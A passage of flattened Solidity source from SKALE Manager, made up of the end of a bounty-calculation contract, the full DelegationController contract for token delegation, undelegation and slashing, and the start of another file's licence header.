return customBounties[year].div(EPOCHS_PER_YEAR);
}
}
function _reduceBounty(
uint bounty,
uint nodeIndex,
Nodes nodes,
ConstantsHolder constants
)
private
returns (uint reducedBounty)
{
if (!bountyReduction) {
return bounty;
}
reducedBounty = bounty;
if (!nodes.checkPossibilityToMaintainNode(nodes.getValidatorId(nodeIndex), nodeIndex)) {
reducedBounty = reducedBounty.div(constants.MSR_REDUCING_COEFFICIENT());
}
}
function _prepareBountyHistory(uint validatorId, uint currentMonth) private {
if (_bountyHistory[validatorId].month < currentMonth) {
_bountyHistory[validatorId].month = currentMonth;
delete _bountyHistory[validatorId].bountyPaid;
}
}
function _getBountyPaid(uint validatorId, uint month) private view returns (uint) {
require(_bountyHistory[validatorId].month <= month, "Can't get bounty paid");
if (_bountyHistory[validatorId].month == month) {
return _bountyHistory[validatorId].bountyPaid;
} else {
return 0;
}
}
function _getNextRewardTimestamp(uint nodeIndex, Nodes nodes, TimeHelpers timeHelpers) private view returns (uint) {
uint lastRewardTimestamp = nodes.getNodeLastRewardDate(nodeIndex);
uint lastRewardMonth = timeHelpers.timestampToMonth(lastRewardTimestamp);
uint lastRewardMonthStart = timeHelpers.monthToTimestamp(lastRewardMonth);
uint timePassedAfterMonthStart = lastRewardTimestamp.sub(lastRewardMonthStart);
uint currentMonth = timeHelpers.getCurrentMonth();
assert(lastRewardMonth <= currentMonth);
if (lastRewardMonth == currentMonth) {
uint nextMonthStart = timeHelpers.monthToTimestamp(currentMonth.add(1));
uint nextMonthFinish = timeHelpers.monthToTimestamp(lastRewardMonth.add(2));
if (lastRewardTimestamp < lastRewardMonthStart.add(nodeCreationWindowSeconds)) {
return nextMonthStart.sub(BOUNTY_WINDOW_SECONDS);
} else {
return _min(nextMonthStart.add(timePassedAfterMonthStart), nextMonthFinish.sub(BOUNTY_WINDOW_SECONDS));
}
} else if (lastRewardMonth.add(1) == currentMonth) {
uint currentMonthStart = timeHelpers.monthToTimestamp(currentMonth);
uint currentMonthFinish = timeHelpers.monthToTimestamp(currentMonth.add(1));
return _min(
currentMonthStart.add(_max(timePassedAfterMonthStart, nodeCreationWindowSeconds)),
currentMonthFinish.sub(BOUNTY_WINDOW_SECONDS)
);
} else {
uint currentMonthStart = timeHelpers.monthToTimestamp(currentMonth);
return currentMonthStart.add(nodeCreationWindowSeconds);
}
}
function _min(uint a, uint b) private pure returns (uint) {
if (a < b) {
return a;
} else {
return b;
}
}
function _max(uint a, uint b) private pure returns (uint) {
if (a < b) {
return b;
} else {
return a;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
DelegationController.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol";
import "../BountyV2.sol";
import "../Nodes.sol";
import "../Permissions.sol";
import "../utils/FractionUtils.sol";
import "../utils/MathUtils.sol";
import "./DelegationPeriodManager.sol";
import "./PartialDifferences.sol";
import "./Punisher.sol";
import "./TokenState.sol";
import "./ValidatorService.sol";
/**
* @title Delegation Controller
* @dev This contract performs all delegation functions including delegation
* requests, and undelegation, etc.
*
* Delegators and validators may both perform delegations. Validators who perform
* delegations to themselves are effectively self-delegating or self-bonding.
*
* IMPORTANT: Undelegation may be requested at any time, but undelegation is only
* performed at the completion of the current delegation period.
*
* Delegated tokens may be in one of several states:
*
* - PROPOSED: token holder proposes tokens to delegate to a validator.
* - ACCEPTED: token delegations are accepted by a validator and are locked-by-delegation.
* - CANCELED: token holder cancels delegation proposal. Only allowed before the proposal is accepted by the validator.
* - REJECTED: token proposal expires at the UTC start of the next month.
* - DELEGATED: accepted delegations are delegated at the UTC start of the month.
* - UNDELEGATION_REQUESTED: token holder requests delegations to undelegate from the validator.
* - COMPLETED: undelegation request is completed at the end of the delegation period.
*/
contract DelegationController is Permissions, ILocker {
using MathUtils for uint;
using PartialDifferences for PartialDifferences.Sequence;
using PartialDifferences for PartialDifferences.Value;
using FractionUtils for FractionUtils.Fraction;
uint public constant UNDELEGATION_PROHIBITION_WINDOW_SECONDS = 3 * 24 * 60 * 60;
enum State {
PROPOSED,
ACCEPTED,
CANCELED,
REJECTED,
DELEGATED,
UNDELEGATION_REQUESTED,
COMPLETED
}
struct Delegation {
address holder; // address of token owner
uint validatorId;
uint amount;
uint delegationPeriod;
uint created; // time of delegation creation
uint started; // month when a delegation becomes active
uint finished; // first month after a delegation ends
string info;
}
struct SlashingLogEvent {
FractionUtils.Fraction reducingCoefficient;
uint nextMonth;
}
struct SlashingLog {
// month => slashing event
mapping (uint => SlashingLogEvent) slashes;
uint firstMonth;
uint lastMonth;
}
struct DelegationExtras {
uint lastSlashingMonthBeforeDelegation;
}
struct SlashingEvent {
FractionUtils.Fraction reducingCoefficient;
uint validatorId;
uint month;
}
struct SlashingSignal {
address holder;
uint penalty;
}
struct LockedInPending {
uint amount;
uint month;
}
struct FirstDelegationMonth {
// month
uint value;
//validatorId => month
mapping (uint => uint) byValidator;
}
struct ValidatorsStatistics {
// number of validators
uint number;
//validatorId => bool - is Delegated or not
mapping (uint => uint) delegated;
}
/**
* @dev Emitted when a delegation is proposed to a validator.
*/
event DelegationProposed(
uint delegationId
);
/**
* @dev Emitted when a delegation is accepted by a validator.
*/
event DelegationAccepted(
uint delegationId
);
/**
* @dev Emitted when a delegation is cancelled by the delegator.
*/
event DelegationRequestCanceledByUser(
uint delegationId
);
/**
* @dev Emitted when a delegation is requested to undelegate.
*/
event UndelegationRequested(
uint delegationId
);
/// @dev delegations will never be deleted to index in this array may be used like delegation id
Delegation[] public delegations;
// validatorId => delegationId[]
mapping (uint => uint[]) public delegationsByValidator;
// holder => delegationId[]
mapping (address => uint[]) public delegationsByHolder;
// delegationId => extras
mapping(uint => DelegationExtras) private _delegationExtras;
// validatorId => sequence
mapping (uint => PartialDifferences.Value) private _delegatedToValidator;
// validatorId => sequence
mapping (uint => PartialDifferences.Sequence) private _effectiveDelegatedToValidator;
// validatorId => slashing log
mapping (uint => SlashingLog) private _slashesOfValidator;
// holder => sequence
mapping (address => PartialDifferences.Value) private _delegatedByHolder;
// holder => validatorId => sequence
mapping (address => mapping (uint => PartialDifferences.Value)) private _delegatedByHolderToValidator;
// holder => validatorId => sequence
mapping (address => mapping (uint => PartialDifferences.Sequence)) private _effectiveDelegatedByHolderToValidator;
SlashingEvent[] private _slashes;
// holder => index in _slashes;
mapping (address => uint) private _firstUnprocessedSlashByHolder;
// holder => validatorId => month
mapping (address => FirstDelegationMonth) private _firstDelegationMonth;
// holder => locked in pending
mapping (address => LockedInPending) private _lockedInPendingDelegations;
mapping (address => ValidatorsStatistics) private _numberOfValidatorsPerDelegator;
/**
* @dev Modifier to make a function callable only if delegation exists.
*/
modifier checkDelegationExists(uint delegationId) {
require(delegationId < delegations.length, "Delegation does not exist");
_;
}
/**
* @dev Update and return a validator's delegations.
*/
function getAndUpdateDelegatedToValidatorNow(uint validatorId) external returns (uint) {
return _getAndUpdateDelegatedToValidator(validatorId, _getCurrentMonth());
}
/**
* @dev Update and return the amount delegated.
*/
function getAndUpdateDelegatedAmount(address holder) external returns (uint) {
return _getAndUpdateDelegatedByHolder(holder);
}
/**
* @dev Update and return the effective amount delegated (minus slash) for
* the given month.
*/
function getAndUpdateEffectiveDelegatedByHolderToValidator(address holder, uint validatorId, uint month) external
allow("Distributor") returns (uint effectiveDelegated)
{
SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(holder);
effectiveDelegated = _effectiveDelegatedByHolderToValidator[holder][validatorId]
.getAndUpdateValueInSequence(month);
_sendSlashingSignals(slashingSignals);
}
/**
* @dev Allows a token holder to create a delegation proposal of an `amount`
* and `delegationPeriod` to a `validatorId`. Delegation must be accepted
* by the validator before the UTC start of the month, otherwise the
* delegation will be rejected.
*
* The token holder may add additional information in each proposal.
*
* Emits a {DelegationProposed} event.
*
* Requirements:
*
* - Holder must have sufficient delegatable tokens.
* - Delegation must be above the validator's minimum delegation amount.
* - Delegation period must be allowed.
* - Validator must be authorized if trusted list is enabled.
* - Validator must be accepting new delegation requests.
*/
function delegate(
uint validatorId,
uint amount,
uint delegationPeriod,
string calldata info
)
external
{
require(
_getDelegationPeriodManager().isDelegationPeriodAllowed(delegationPeriod),
"This delegation period is not allowed");
_getValidatorService().checkValidatorCanReceiveDelegation(validatorId, amount);
_checkIfDelegationIsAllowed(msg.sender, validatorId);
SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(msg.sender);
uint delegationId = _addDelegation(
msg.sender,
validatorId,
amount,
delegationPeriod,
info);
// check that there is enough money
uint holderBalance = IERC777(contractManager.getSkaleToken()).balanceOf(msg.sender);
uint forbiddenForDelegation = TokenState(contractManager.getTokenState())
.getAndUpdateForbiddenForDelegationAmount(msg.sender);
require(holderBalance >= forbiddenForDelegation, "Token holder does not have enough tokens to delegate");
emit DelegationProposed(delegationId);
_sendSlashingSignals(slashingSignals);
}
/**
* @dev See {ILocker-getAndUpdateLockedAmount}.
*/
function getAndUpdateLockedAmount(address wallet) external override returns (uint) {
return _getAndUpdateLockedAmount(wallet);
}
/**
* @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}.
*/
function getAndUpdateForbiddenForDelegationAmount(address wallet) external override returns (uint) {
return _getAndUpdateLockedAmount(wallet);
}
/**
* @dev Allows token holder to cancel a delegation proposal.
*
* Emits a {DelegationRequestCanceledByUser} event.
*
* Requirements:
*
* - `msg.sender` must be the token holder of the delegation proposal.
* - Delegation state must be PROPOSED.
*/
function cancelPendingDelegation(uint delegationId) external checkDelegationExists(delegationId) {
require(msg.sender == delegations[delegationId].holder, "Only token holders can cancel delegation request");
require(getState(delegationId) == State.PROPOSED, "Token holders are only able to cancel PROPOSED delegations");
delegations[delegationId].finished = _getCurrentMonth();
_subtractFromLockedInPendingDelegations(delegations[delegationId].holder, delegations[delegationId].amount);
emit DelegationRequestCanceledByUser(delegationId);
}
/**
* @dev Allows a validator to accept a proposed delegation.
* Successful acceptance of delegations transition the tokens from a
* PROPOSED state to ACCEPTED, and tokens are locked for the remainder of the
* delegation period.
*
* Emits a {DelegationAccepted} event.
*
* Requirements:
*
* - Validator must be recipient of proposal.
* - Delegation state must be PROPOSED.
*/
function acceptPendingDelegation(uint delegationId) external checkDelegationExists(delegationId) {
require(
_getValidatorService().checkValidatorAddressToId(msg.sender, delegations[delegationId].validatorId),
"No permissions to accept request");
_accept(delegationId);
}
/**
* @dev Allows delegator to undelegate a specific delegation.
*
* Emits UndelegationRequested event.
*
* Requirements:
*
* - `msg.sender` must be the delegator.
* - Delegation state must be DELEGATED.
*/
function requestUndelegation(uint delegationId) external checkDelegationExists(delegationId) {
require(getState(delegationId) == State.DELEGATED, "Cannot request undelegation");
ValidatorService validatorService = _getValidatorService();
require(
delegations[delegationId].holder == msg.sender ||
(validatorService.validatorAddressExists(msg.sender) &&
delegations[delegationId].validatorId == validatorService.getValidatorId(msg.sender)),
"Permission denied to request undelegation");
_removeValidatorFromValidatorsPerDelegators(
delegations[delegationId].holder,
delegations[delegationId].validatorId);
processAllSlashes(msg.sender);
delegations[delegationId].finished = _calculateDelegationEndMonth(delegationId);
require(
now.add(UNDELEGATION_PROHIBITION_WINDOW_SECONDS)
< _getTimeHelpers().monthToTimestamp(delegations[delegationId].finished),
"Undelegation requests must be sent 3 days before the end of delegation period"
);
_subtractFromAllStatistics(delegationId);
emit UndelegationRequested(delegationId);
}
/**
* @dev Allows Punisher contract to slash an `amount` of stake from
* a validator. This slashes an amount of delegations of the validator,
* which reduces the amount that the validator has staked. This consequence
* may force the SKALE Manager to reduce the number of nodes a validator is
* operating so the validator can meet the Minimum Staking Requirement.
*
* Emits a {SlashingEvent}.
*
* See {Punisher}.
*/
function confiscate(uint validatorId, uint amount) external allow("Punisher") {
uint currentMonth = _getCurrentMonth();
FractionUtils.Fraction memory coefficient =
_delegatedToValidator[validatorId].reduceValue(amount, currentMonth);
uint initialEffectiveDelegated =
_effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(currentMonth);
uint[] memory initialSubtractions = new uint[](0);
if (currentMonth < _effectiveDelegatedToValidator[validatorId].lastChangedMonth) {
initialSubtractions = new uint[](
_effectiveDelegatedToValidator[validatorId].lastChangedMonth.sub(currentMonth)
);
for (uint i = 0; i < initialSubtractions.length; ++i) {
initialSubtractions[i] = _effectiveDelegatedToValidator[validatorId]
.subtractDiff[currentMonth.add(i).add(1)];
}
}
_effectiveDelegatedToValidator[validatorId].reduceSequence(coefficient, currentMonth);
_putToSlashingLog(_slashesOfValidator[validatorId], coefficient, currentMonth);
_slashes.push(SlashingEvent({reducingCoefficient: coefficient, validatorId: validatorId, month: currentMonth}));
BountyV2 bounty = _getBounty();
bounty.handleDelegationRemoving(
initialEffectiveDelegated.sub(
_effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(currentMonth)
),
currentMonth
);
for (uint i = 0; i < initialSubtractions.length; ++i) {
bounty.handleDelegationAdd(
initialSubtractions[i].sub(
_effectiveDelegatedToValidator[validatorId].subtractDiff[currentMonth.add(i).add(1)]
),
currentMonth.add(i).add(1)
);
}
}
/**
* @dev Allows Distributor contract to return and update the effective
* amount delegated (minus slash) to a validator for a given month.
*/
function getAndUpdateEffectiveDelegatedToValidator(uint validatorId, uint month)
external allowTwo("Bounty", "Distributor") returns (uint)
{
return _effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(month);
}
/**
* @dev Return and update the amount delegated to a validator for the
* current month.
*/
function getAndUpdateDelegatedByHolderToValidatorNow(address holder, uint validatorId) external returns (uint) {
return _getAndUpdateDelegatedByHolderToValidator(holder, validatorId, _getCurrentMonth());
}
function getEffectiveDelegatedValuesByValidator(uint validatorId) external view returns (uint[] memory) {
return _effectiveDelegatedToValidator[validatorId].getValuesInSequence();
}
function getEffectiveDelegatedToValidator(uint validatorId, uint month) external view returns (uint) {
return _effectiveDelegatedToValidator[validatorId].getValueInSequence(month);
}
function getDelegatedToValidator(uint validatorId, uint month) external view returns (uint) {
return _delegatedToValidator[validatorId].getValue(month);
}
/**
* @dev Return Delegation struct.
*/
function getDelegation(uint delegationId)
external view checkDelegationExists(delegationId) returns (Delegation memory)
{
return delegations[delegationId];
}
/**
* @dev Returns the first delegation month.
*/
function getFirstDelegationMonth(address holder, uint validatorId) external view returns(uint) {
return _firstDelegationMonth[holder].byValidator[validatorId];
}
/**
* @dev Returns a validator's total number of delegations.
*/
function getDelegationsByValidatorLength(uint validatorId) external view returns (uint) {
return delegationsByValidator[validatorId].length;
}
/**
* @dev Returns a holder's total number of delegations.
*/
function getDelegationsByHolderLength(address holder) external view returns (uint) {
return delegationsByHolder[holder].length;
}
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
}
/**
* @dev Process slashes up to the given limit.
*/
function processSlashes(address holder, uint limit) public {
_sendSlashingSignals(_processSlashesWithoutSignals(holder, limit));
}
/**
* @dev Process all slashes.
*/
function processAllSlashes(address holder) public {
processSlashes(holder, 0);
}
/**
* @dev Returns the token state of a given delegation.
*/
function getState(uint delegationId) public view checkDelegationExists(delegationId) returns (State state) {
if (delegations[delegationId].started == 0) {
if (delegations[delegationId].finished == 0) {
if (_getCurrentMonth() == _getTimeHelpers().timestampToMonth(delegations[delegationId].created)) {
return State.PROPOSED;
} else {
return State.REJECTED;
}
} else {
return State.CANCELED;
}
} else {
if (_getCurrentMonth() < delegations[delegationId].started) {
return State.ACCEPTED;
} else {
if (delegations[delegationId].finished == 0) {
return State.DELEGATED;
} else {
if (_getCurrentMonth() < delegations[delegationId].finished) {
return State.UNDELEGATION_REQUESTED;
} else {
return State.COMPLETED;
}
}
}
}
}
/**
* @dev Returns the amount of tokens in PENDING delegation state.
*/
function getLockedInPendingDelegations(address holder) public view returns (uint) {
uint currentMonth = _getCurrentMonth();
if (_lockedInPendingDelegations[holder].month < currentMonth) {
return 0;
} else {
return _lockedInPendingDelegations[holder].amount;
}
}
/**
* @dev Checks whether there are any unprocessed slashes.
*/
function hasUnprocessedSlashes(address holder) public view returns (bool) {
return _everDelegated(holder) && _firstUnprocessedSlashByHolder[holder] < _slashes.length;
}
// private
/**
* @dev Allows Nodes contract to get and update the amount delegated
* to validator for a given month.
*/
function _getAndUpdateDelegatedToValidator(uint validatorId, uint month)
private returns (uint)
{
return _delegatedToValidator[validatorId].getAndUpdateValue(month);
}
/**
* @dev Adds a new delegation proposal.
*/
function _addDelegation(
address holder,
uint validatorId,
uint amount,
uint delegationPeriod,
string memory info
)
private
returns (uint delegationId)
{
delegationId = delegations.length;
delegations.push(Delegation(
holder,
validatorId,
amount,
delegationPeriod,
now,
0,
0,
info
));
delegationsByValidator[validatorId].push(delegationId);
delegationsByHolder[holder].push(delegationId);
_addToLockedInPendingDelegations(delegations[delegationId].holder, delegations[delegationId].amount);
}
/**
* @dev Returns the month when a delegation ends.
*/
function _calculateDelegationEndMonth(uint delegationId) private view returns (uint) {
uint currentMonth = _getCurrentMonth();
uint started = delegations[delegationId].started;
if (currentMonth < started) {
return started.add(delegations[delegationId].delegationPeriod);
} else {
uint completedPeriods = currentMonth.sub(started).div(delegations[delegationId].delegationPeriod);
return started.add(completedPeriods.add(1).mul(delegations[delegationId].delegationPeriod));
}
}
function _addToDelegatedToValidator(uint validatorId, uint amount, uint month) private {
_delegatedToValidator[validatorId].addToValue(amount, month);
}
function _addToEffectiveDelegatedToValidator(uint validatorId, uint effectiveAmount, uint month) private {
_effectiveDelegatedToValidator[validatorId].addToSequence(effectiveAmount, month);
}
function _addToDelegatedByHolder(address holder, uint amount, uint month) private {
_delegatedByHolder[holder].addToValue(amount, month);
}
function _addToDelegatedByHolderToValidator(
address holder, uint validatorId, uint amount, uint month) private
{
_delegatedByHolderToValidator[holder][validatorId].addToValue(amount, month);
}
function _addValidatorToValidatorsPerDelegators(address holder, uint validatorId) private {
if (_numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 0) {
_numberOfValidatorsPerDelegator[holder].number = _numberOfValidatorsPerDelegator[holder].number.add(1);
}
_numberOfValidatorsPerDelegator[holder].
delegated[validatorId] = _numberOfValidatorsPerDelegator[holder].delegated[validatorId].add(1);
}
function _removeFromDelegatedByHolder(address holder, uint amount, uint month) private {
_delegatedByHolder[holder].subtractFromValue(amount, month);
}
function _removeFromDelegatedByHolderToValidator(
address holder, uint validatorId, uint amount, uint month) private
{
_delegatedByHolderToValidator[holder][validatorId].subtractFromValue(amount, month);
}
function _removeValidatorFromValidatorsPerDelegators(address holder, uint validatorId) private {
if (_numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 1) {
_numberOfValidatorsPerDelegator[holder].number = _numberOfValidatorsPerDelegator[holder].number.sub(1);
}
_numberOfValidatorsPerDelegator[holder].
delegated[validatorId] = _numberOfValidatorsPerDelegator[holder].delegated[validatorId].sub(1);
}
function _addToEffectiveDelegatedByHolderToValidator(
address holder,
uint validatorId,
uint effectiveAmount,
uint month)
private
{
_effectiveDelegatedByHolderToValidator[holder][validatorId].addToSequence(effectiveAmount, month);
}
function _removeFromEffectiveDelegatedByHolderToValidator(
address holder,
uint validatorId,
uint effectiveAmount,
uint month)
private
{
_effectiveDelegatedByHolderToValidator[holder][validatorId].subtractFromSequence(effectiveAmount, month);
}
function _getAndUpdateDelegatedByHolder(address holder) private returns (uint) {
uint currentMonth = _getCurrentMonth();
processAllSlashes(holder);
return _delegatedByHolder[holder].getAndUpdateValue(currentMonth);
}
function _getAndUpdateDelegatedByHolderToValidator(
address holder,
uint validatorId,
uint month)
private returns (uint)
{
return _delegatedByHolderToValidator[holder][validatorId].getAndUpdateValue(month);
}
function _addToLockedInPendingDelegations(address holder, uint amount) private returns (uint) {
uint currentMonth = _getCurrentMonth();
if (_lockedInPendingDelegations[holder].month < currentMonth) {
_lockedInPendingDelegations[holder].amount = amount;
_lockedInPendingDelegations[holder].month = currentMonth;
} else {
assert(_lockedInPendingDelegations[holder].month == currentMonth);
_lockedInPendingDelegations[holder].amount = _lockedInPendingDelegations[holder].amount.add(amount);
}
}
function _subtractFromLockedInPendingDelegations(address holder, uint amount) private returns (uint) {
uint currentMonth = _getCurrentMonth();
assert(_lockedInPendingDelegations[holder].month == currentMonth);
_lockedInPendingDelegations[holder].amount = _lockedInPendingDelegations[holder].amount.sub(amount);
}
function _getCurrentMonth() private view returns (uint) {
return _getTimeHelpers().getCurrentMonth();
}
/**
* @dev See {ILocker-getAndUpdateLockedAmount}.
*/
function _getAndUpdateLockedAmount(address wallet) private returns (uint) {
return _getAndUpdateDelegatedByHolder(wallet).add(getLockedInPendingDelegations(wallet));
}
function _updateFirstDelegationMonth(address holder, uint validatorId, uint month) private {
if (_firstDelegationMonth[holder].value == 0) {
_firstDelegationMonth[holder].value = month;
_firstUnprocessedSlashByHolder[holder] = _slashes.length;
}
if (_firstDelegationMonth[holder].byValidator[validatorId] == 0) {
_firstDelegationMonth[holder].byValidator[validatorId] = month;
}
}
/**
* @dev Checks whether the holder has performed a delegation.
*/
function _everDelegated(address holder) private view returns (bool) {
return _firstDelegationMonth[holder].value > 0;
}
function _removeFromDelegatedToValidator(uint validatorId, uint amount, uint month) private {
_delegatedToValidator[validatorId].subtractFromValue(amount, month);
}
function _removeFromEffectiveDelegatedToValidator(uint validatorId, uint effectiveAmount, uint month) private {
_effectiveDelegatedToValidator[validatorId].subtractFromSequence(effectiveAmount, month);
}
/**
* @dev Returns the delegated amount after a slashing event.
*/
function _calculateDelegationAmountAfterSlashing(uint delegationId) private view returns (uint) {
uint startMonth = _delegationExtras[delegationId].lastSlashingMonthBeforeDelegation;
uint validatorId = delegations[delegationId].validatorId;
uint amount = delegations[delegationId].amount;
if (startMonth == 0) {
startMonth = _slashesOfValidator[validatorId].firstMonth;
if (startMonth == 0) {
return amount;
}
}
for (uint i = startMonth;
i > 0 && i < delegations[delegationId].finished;
i = _slashesOfValidator[validatorId].slashes[i].nextMonth) {
if (i >= delegations[delegationId].started) {
amount = amount
.mul(_slashesOfValidator[validatorId].slashes[i].reducingCoefficient.numerator)
.div(_slashesOfValidator[validatorId].slashes[i].reducingCoefficient.denominator);
}
}
return amount;
}
function _putToSlashingLog(
SlashingLog storage log,
FractionUtils.Fraction memory coefficient,
uint month)
private
{
if (log.firstMonth == 0) {
log.firstMonth = month;
log.lastMonth = month;
log.slashes[month].reducingCoefficient = coefficient;
log.slashes[month].nextMonth = 0;
} else {
require(log.lastMonth <= month, "Cannot put slashing event in the past");
if (log.lastMonth == month) {
log.slashes[month].reducingCoefficient =
log.slashes[month].reducingCoefficient.multiplyFraction(coefficient);
} else {
log.slashes[month].reducingCoefficient = coefficient;
log.slashes[month].nextMonth = 0;
log.slashes[log.lastMonth].nextMonth = month;
log.lastMonth = month;
}
}
}
function _processSlashesWithoutSignals(address holder, uint limit)
private returns (SlashingSignal[] memory slashingSignals)
{
if (hasUnprocessedSlashes(holder)) {
uint index = _firstUnprocessedSlashByHolder[holder];
uint end = _slashes.length;
if (limit > 0 && index.add(limit) < end) {
end = index.add(limit);
}
slashingSignals = new SlashingSignal[](end.sub(index));
uint begin = index;
for (; index < end; ++index) {
uint validatorId = _slashes[index].validatorId;
uint month = _slashes[index].month;
uint oldValue = _getAndUpdateDelegatedByHolderToValidator(holder, validatorId, month);
if (oldValue.muchGreater(0)) {
_delegatedByHolderToValidator[holder][validatorId].reduceValueByCoefficientAndUpdateSum(
_delegatedByHolder[holder],
_slashes[index].reducingCoefficient,
month);
_effectiveDelegatedByHolderToValidator[holder][validatorId].reduceSequence(
_slashes[index].reducingCoefficient,
month);
slashingSignals[index.sub(begin)].holder = holder;
slashingSignals[index.sub(begin)].penalty
= oldValue.boundedSub(_getAndUpdateDelegatedByHolderToValidator(holder, validatorId, month));
}
}
_firstUnprocessedSlashByHolder[holder] = end;
}
}
function _processAllSlashesWithoutSignals(address holder)
private returns (SlashingSignal[] memory slashingSignals)
{
return _processSlashesWithoutSignals(holder, 0);
}
function _sendSlashingSignals(SlashingSignal[] memory slashingSignals) private {
Punisher punisher = Punisher(contractManager.getPunisher());
address previousHolder = address(0);
uint accumulatedPenalty = 0;
for (uint i = 0; i < slashingSignals.length; ++i) {
if (slashingSignals[i].holder != previousHolder) {
if (accumulatedPenalty > 0) {
punisher.handleSlash(previousHolder, accumulatedPenalty);
}
previousHolder = slashingSignals[i].holder;
accumulatedPenalty = slashingSignals[i].penalty;
} else {
accumulatedPenalty = accumulatedPenalty.add(slashingSignals[i].penalty);
}
}
if (accumulatedPenalty > 0) {
punisher.handleSlash(previousHolder, accumulatedPenalty);
}
}
function _addToAllStatistics(uint delegationId) private {
uint currentMonth = _getCurrentMonth();
delegations[delegationId].started = currentMonth.add(1);
if (_slashesOfValidator[delegations[delegationId].validatorId].lastMonth > 0) {
_delegationExtras[delegationId].lastSlashingMonthBeforeDelegation =
_slashesOfValidator[delegations[delegationId].validatorId].lastMonth;
}
_addToDelegatedToValidator(
delegations[delegationId].validatorId,
delegations[delegationId].amount,
currentMonth.add(1));
_addToDelegatedByHolder(
delegations[delegationId].holder,
delegations[delegationId].amount,
currentMonth.add(1));
_addToDelegatedByHolderToValidator(
delegations[delegationId].holder,
delegations[delegationId].validatorId,
delegations[delegationId].amount,
currentMonth.add(1));
_updateFirstDelegationMonth(
delegations[delegationId].holder,
delegations[delegationId].validatorId,
currentMonth.add(1));
uint effectiveAmount = delegations[delegationId].amount.mul(
_getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod));
_addToEffectiveDelegatedToValidator(
delegations[delegationId].validatorId,
effectiveAmount,
currentMonth.add(1));
_addToEffectiveDelegatedByHolderToValidator(
delegations[delegationId].holder,
delegations[delegationId].validatorId,
effectiveAmount,
currentMonth.add(1));
_addValidatorToValidatorsPerDelegators(
delegations[delegationId].holder,
delegations[delegationId].validatorId
);
}
function _subtractFromAllStatistics(uint delegationId) private {
uint amountAfterSlashing = _calculateDelegationAmountAfterSlashing(delegationId);
_removeFromDelegatedToValidator(
delegations[delegationId].validatorId,
amountAfterSlashing,
delegations[delegationId].finished);
_removeFromDelegatedByHolder(
delegations[delegationId].holder,
amountAfterSlashing,
delegations[delegationId].finished);
_removeFromDelegatedByHolderToValidator(
delegations[delegationId].holder,
delegations[delegationId].validatorId,
amountAfterSlashing,
delegations[delegationId].finished);
uint effectiveAmount = amountAfterSlashing.mul(
_getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod));
_removeFromEffectiveDelegatedToValidator(
delegations[delegationId].validatorId,
effectiveAmount,
delegations[delegationId].finished);
_removeFromEffectiveDelegatedByHolderToValidator(
delegations[delegationId].holder,
delegations[delegationId].validatorId,
effectiveAmount,
delegations[delegationId].finished);
_getBounty().handleDelegationRemoving(
effectiveAmount,
delegations[delegationId].finished);
}
/**
* @dev Checks whether delegation to a validator is allowed.
*
* Requirements:
*
* - Delegator must not have reached the validator limit.
* - Delegation must be made in or after the first delegation month.
*/
function _checkIfDelegationIsAllowed(address holder, uint validatorId) private view returns (bool) {
require(
_numberOfValidatorsPerDelegator[holder].delegated[validatorId] > 0 ||
(
_numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 0 &&
_numberOfValidatorsPerDelegator[holder].number < _getConstantsHolder().limitValidatorsPerDelegator()
),
"Limit of validators is reached"
);
}
function _getDelegationPeriodManager() private view returns (DelegationPeriodManager) {
return DelegationPeriodManager(contractManager.getDelegationPeriodManager());
}
function _getBounty() private view returns (BountyV2) {
return BountyV2(contractManager.getBounty());
}
function _getValidatorService() private view returns (ValidatorService) {
return ValidatorService(contractManager.getValidatorService());
}
function _getTimeHelpers() private view returns (TimeHelpers) {
return TimeHelpers(contractManager.getTimeHelpers());
}
function _getConstantsHolder() private view returns (ConstantsHolder) {
return ConstantsHolder(contractManager.getConstantsHolder());
}
function _accept(uint delegationId) private {
_checkIfDelegationIsAllowed(delegations[delegationId].holder, delegations[delegationId].validatorId);
State currentState = getState(delegationId);
if (currentState != State.PROPOSED) {
if (currentState == State.ACCEPTED ||
currentState == State.DELEGATED ||
currentState == State.UNDELEGATION_REQUESTED ||
currentState == State.COMPLETED)
{
revert("The delegation has been already accepted");
} else if (currentState == State.CANCELED) {
revert("The delegation has been cancelled by token holder");
} else if (currentState == State.REJECTED) {
revert("The delegation request is outdated");
}
}
require(currentState == State.PROPOSED, "Cannot set delegation state to accepted");
SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(delegations[delegationId].holder);
_addToAllStatistics(delegationId);
uint amount = delegations[delegationId].amount;
uint effectiveAmount = amount.mul(
_getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod)
);
_getBounty().handleDelegationAdd(
effectiveAmount,
delegations[delegationId].started
);
_sendSlashingSignals(slashingSignals);
emit DelegationAccepted(delegationId);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
PartialDifferences.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
